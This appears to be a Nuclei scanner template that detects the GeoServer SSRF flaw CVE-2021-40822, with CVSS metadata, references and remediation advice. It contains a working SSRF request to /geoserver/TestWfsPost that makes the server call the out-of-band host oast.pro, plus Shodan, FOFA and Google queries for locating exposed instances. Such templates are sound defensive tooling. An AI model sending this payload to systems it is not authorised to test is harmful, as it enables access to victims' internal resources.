Geoserver - Server-Side Request Forgery

id: CVE-2021-40822

info:
  name: Geoserver - Server-Side Request Forgery
  author: For3stCo1d,aringo-bf
  severity: high
  description: GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
  remediation: |
    Apply the latest security patches or updates provided by the Geoserver project to mitigate the SSRF vulnerability.
  reference:
    - https://gccybermonks.com/posts/cve-2021-40822/
    - https://github.com/geoserver/geoserver/compare/2.19.2...2.19.3
    - https://github.com/geoserver/geoserver/releases
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40822
    - https://osgeo-org.atlassian.net/browse/GEOS-10229
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40822
    cwe-id: CWE-918
    epss-score: 0.18925
    epss-percentile: 0.9696
    cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: osgeo
    product: geoserver
    shodan-query:
      - title:"GeoServer"
      - http.title:"geoserver"
    fofa-query:
      - app="GeoServer"
      - app="geoserver"
      - title="geoserver"
    google-query: intitle:"geoserver"
  tags: cve2021,cve,ssrf,geoserver,osgeo,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/geoserver/"

    stop-at-first-match: true
    redirects: true
    max-redirects: 3
    matchers:
      - type: word
        part: body
        words:
          - "geoserver.web"
          - "geoserverbasepage"
          - "GeoServer: Redirecting"
        internal: true
        case-insensitive: true

  - raw:
      - |
        POST /geoserver/TestWfsPost HTTP/1.1
        Host: oast.pro
        Content-Type: application/x-www-form-urlencoded

        form_hf_0=&url=http://oast.pro/geoserver/../&body=&username=&password=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<b>Interactsh</b>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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